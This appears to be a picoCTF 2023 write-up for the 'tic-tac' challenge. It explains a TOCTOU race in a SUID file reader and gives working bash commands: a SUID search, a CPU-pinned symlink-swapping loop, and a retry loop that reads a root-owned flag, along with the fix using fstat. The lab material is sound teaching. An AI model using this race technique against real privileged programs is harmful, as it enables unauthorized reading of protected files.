Skip to main content

tic-tac picoCTF 2023 Solution

A binary exploitation challenge testing how file permission checks can be bypassed in a privileged program.

Published: April 26, 2023Updated: August 25, 2026

Description

A SUID binary opens a file with ifstream, then calls stat() on the same path to verify the file's owner matches the current user (st_uid == getuid()). Exploit the TOCTOU (Time-Of-Check Time-Of-Use) race condition by swapping a symlink between the open and the stat() ownership check to read the protected flag file.

SSH into the server with the provided credentials.

Locate the SUID binary and the flag file path.

bash
ssh <USER>@<HOST> -p <PORT>
bash
find / -perm -4000 2>/dev/null | head -20

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Understand the open-then-stat pattern with ltrace
    Observation
    The binary is SUID and resolves the same path twice, once through ifstream and once through stat. That is the shape of a TOCTOU race, and ltrace is the tool to confirm the call order and see the gap between the open and the ownership check.
    Run the binary under ltrace and watch the library call sequence. You should see the ifstream constructor trigger an open() syscall, followed by stat() on the same path string - no atomic file-descriptor-based ownership verification in between.
    bash
    ltrace ./txtreader /tmp/dummy.txt 2>&1 | head -20
    bash
    strings ./txtreader
    What didn't work first

    Tried: Run strace instead of ltrace to see the syscall sequence.

    strace shows raw syscalls but not the library boundary that separates the ifstream constructor from stat() at source level. ltrace hooks dynamic library calls, so those two show up as distinct events and the gap between them is visible without reading assembly.

    Tried: Use strings to find a hardcoded flag or path bypass in the binary.

    strings shows the path format and the error messages, but the flag was never in the binary: it is read at runtime from a root-owned /flag. The bug is the window between open and stat, not a hidden string, so the output confirms the check without offering a bypass.

    Learn more

    A TOCTOU (Time-Of-Check Time-Of-Use) race condition occurs when a program uses a resource and then checks a condition about it (or vice versa), but the underlying filesystem object can change between those two operations. In this challenge, the binary opens the file via std::ifstream file(filename) first, and only afterward calls stat(filename.c_str(), &statbuf) to verify that statbuf.st_uid == getuid(). Both operations look up the filename string independently with no link between them.

    The vulnerable source code follows this pattern:

    // src.cpp (simplified)
    std::ifstream file(argv[1]);         // OPEN: follows symlink, as euid root
    
    struct stat statbuf;
    stat(argv[1], &statbuf);             // CHECK: re-resolves path independently
    
    if (statbuf.st_uid != getuid()) {    // ownership check vs real uid
        std::cout << "Permission denied" << std::endl;
        return 1;
    }
    
    // read and print file contents...

    Because stat() re-resolves the path string independently from the already-open ifstream, if the symlink is swapped between the open and the stat, the binary ends up having the flag file open while stat sees a user-owned dummy file, passes the ownership check, and then reads and prints the flag content. The gap between the ifstream constructor and stat() executing is tiny - typically 10 to 100 microseconds - but that window is enough.

  2. Step 2Set up the race condition infrastructure
    Observation
    The window is open only while the binary is running and resolving that path string a second time. Point it at a symlink, then run a loop that flips the symlink between a file you own and /flag to land inside the gap.
    Create a writable dummy file and a symlink. Write a loop that rapidly alternates the symlink between the dummy file and /flag.
    bash
    echo 'dummy' > /tmp/dummy.txt
    bash
    ln -sf /tmp/dummy.txt /tmp/race_link
    bash
    # Switcher loop pinned to its own core so it runs concurrently with the attacker loop:
    bash
    taskset -c 1 bash -c 'while true; do ln -sf /tmp/dummy.txt /tmp/race_link; ln -sf /flag /tmp/race_link; done' &
    What didn't work first

    Tried: Point the symlink directly at /flag from the start and run the binary once.

    With the symlink parked on /flag, stat() resolves there too, sees a root-owned file, fails the ownership check, and prints 'Permission denied'. The race pays off only when stat() sees a file you own, which means flipping the symlink between the two calls rather than before them.

    Tried: Omit taskset and run both loops on the same shell without CPU pinning.

    Unpinned, the scheduler time-slices both loops onto one core, so they take turns instead of running together. A switcher waiting for its slice cannot flip the symlink inside a window measured in tens of microseconds. taskset moves it to its own core so the two really do run at once.

    Learn more

    The attack requires two concurrent processes: one that continuously flips the symlink target, and one that repeatedly invokes the SUID binary. ln -sf has to replace an existing link, and how it does that varies by implementation: GNU coreutils creates the new link under a temporary name and swaps it in with rename(2), which is documented as atomic ("If newpath already exists, it will be atomically replaced, so that there is no point at which another process attempting to access newpath will find it missing"), while other builds simply unlink and re-create, leaving a brief window in which the path does not exist at all. If you want the swap guaranteed atomic regardless of which ln you have, build the link under a scratch name and move it into place with mv -Tf, which is a plain rename. Either way a missed swap only costs you one failed attempt, so the loop just keeps going.

    Why taskset -c 1 matters. If both loops run on the same CPU, the kernel scheduler interleaves them in time slices, so they effectively serialize. Pinning the switcher to a different physical core lets it run truly in parallel with the attacker, multiplying the number of effective swaps per second and dramatically narrowing the gap between syscalls in real wall-clock time.

    A tight loop with no sleep maximizes the number of attempts per second, which increases the probability of hitting the race window. With both loops running at ~50,000 iterations/sec, even a 1-in-1000 hit rate lands the flag within seconds. An even faster approach uses C with rename(2) directly, avoiding shell overhead entirely.

  3. Step 3Race the binary to read the flag
    Observation
    The switcher is already flipping the symlink thousands of times a second. Call txtreader on it in a tight retry loop and sooner or later ifstream opens /flag while stat sees the dummy file.
    While the switcher loop runs, repeatedly invoke the SUID binary pointing at the symlink with a bounded retry count. Eventually the timing aligns and the flag is printed.
    bash
    # Bounded retry loop (~100k attempts), exits early on success:
    bash
    for i in $(seq 1 100000); do
    bash
      out=$(./txtreader /tmp/race_link 2>/dev/null)
    bash
      case "$out" in *picoCTF*) echo "$out"; break;; esac
    bash
    done
    bash
    # Or with a wall-clock timeout:
    bash
    timeout 30s bash -c 'while ! ./txtreader /tmp/race_link 2>/dev/null | grep picoCTF; do :; done'

    Expected output

    picoCTF{...}
    What didn't work first

    Tried: Run the attacker loop without starting the switcher loop first, expecting the binary to eventually read /flag on its own.

    With no switcher running, the symlink stays wherever it was left. Pointed at /flag it fails the ownership check every time; pointed at the dummy it reads the dummy. The window only exists while something is actively flipping between the two.

    Tried: Pass /flag directly to the binary instead of /tmp/race_link to skip the symlink setup.

    Pass /flag directly and both calls resolve to it with nothing to flip. stat() always sees root, the check always fails, and the binary exits with 'Permission denied'. The attack depends entirely on the symlink indirection sitting between the two path resolutions.

    Learn more

    Each iteration of the outer loop calls the binary, which first opens the symlink with ifstream. If the link points at /flag at that moment, the binary gets a handle to the flag file. Then if the switcher flips the link back to /tmp/dummy.txt before stat() runs, the ownership check sees a file owned by you and passes, so the binary reads and prints the already-open flag content.

    Successful race timeline:
    
      switcher loop                       attacker loop
      -------------                       -------------
      rename(link -> /flag)
                                          ./txtreader /tmp/race_link
                                            ifstream open(link) -> /flag
                                                                  (opened with
                                                                   root euid!)
      rename(link -> /tmp/dummy)    <--- WIN: flips here
                                            stat(link)    -> /tmp/dummy
                                                             (you own it)
                                                             passes check
                                            read+puts -> picoCTF{...}

    Why probability matters. The race window is roughly the duration of a few syscalls, around 10 to 100 microseconds. The switcher must hit that exact window. Bounding the loop with seq 1 100000 or timeout 30s prevents an unbounded spin if the race never lands due to scheduler quirks.

    TOCTOU vulnerabilities are classified as CWE-367. Real-world exploits have used them to escalate privileges in package managers, cron jobs, and backup utilities. The correct fix is to use fstat(fd, &statbuf) on the already-open file descriptor rather than re-resolving the path with stat(), which closes the TOCTOU window entirely. For more on Linux command-line workflows used in this exploit, see Linux CLI for CTF.

Interactive tools
  • Timestamp ConverterConvert Unix timestamps (seconds or milliseconds), hex timestamps, and date strings to every common format.

Flag

Reveal flag

picoCTF{ToctoU_!s_3a5y_...}

Per-instance flag. The prefix picoCTF{ToctoU_!s_3a5y_ is consistent but the 8-character hex suffix varies per instance. Observed: 007659c9 and 2075872e across different instances. The flag is always specific to your own instance.

Key takeaway

A time-of-check to time-of-use race appears whenever a program separates a security check from the action it guards, leaving room for the resource to change in between. Checking a file by path and then acting on that path is always vulnerable, because each syscall resolves the path again. The fix is to open the file once and use fstat on the descriptor, which collapses check and use into one atomic context. The same bug has produced privilege escalation in package managers, cron daemons, and SUID installers.

Related reading

Useful tools for Binary Exploitation

Where to go next